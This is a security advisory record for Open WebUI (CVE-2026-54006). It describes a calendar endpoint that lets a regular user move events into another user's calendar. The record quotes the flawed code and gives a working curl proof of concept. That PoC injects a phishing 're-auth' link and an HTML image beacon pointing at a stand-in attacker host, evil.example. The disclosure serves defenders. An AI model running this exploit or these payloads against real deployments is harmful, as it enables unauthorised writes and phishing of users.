{"id":"PYSEC-2026-2722","summary":"Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar","details":"### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink — missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post('/events/{event_id}/update', response_model=CalendarEventModel)\nasync def update_event(\n    request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n    user: UserModel = Depends(get_verified_user)\n):\n    await check_calendar_permission(request, user)\n    event = await CalendarEvents.get_event_by_id(event_id)\n    if not event:\n        raise HTTPException(status_code=404, detail='Event not found')\n\n    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only\n\n    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id\n    ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n    'calendar_id',          # ← destination persisted with no ACL\n    'title', 'description', 'start_at', 'end_at', 'all_day',\n    'rrule', 'color', 'location', 'is_cancelled',\n]:\n    if field in update_data:\n        setattr(event, field, update_data[field])\n```\n\n### Reference — `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, 'write')\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'`\n- `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'`\n- `backend/open_webui/main.py:1457` — router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui && docker compose up -d        # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim's `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0][\"id\"])')\n```\n\n#### 3. Control — direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w '%{http_code}\\n' \\\n  -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# → 403\n```\n\n#### 4. Exploit — create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0][\"id\"])')\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"\u003cimg src=https://evil.example/beacon.png\u003e\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"id\"])')\n\n# 2. move into victim's calendar — NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# → 200, response shows \"calendar_id\":\"\u003cVICTIM_CALENDAR_ID\u003e\"\n```\n\n#### 5. Verification from victim's session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n  \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n  \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n  \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n  \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n  \"description\": \"Session expired.\",\n  ...\n}]\n```\n\nThe injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `\u003cimg\u003e` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).","aliases":["CVE-2026-54006","GHSA-f3g7-59qc-pqg6"],"modified":"2026-07-13T16:32:19.906850626Z","published":"2026-07-13T15:46:18.940628Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f3g7-59qc-pqg6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54006"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2722.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]}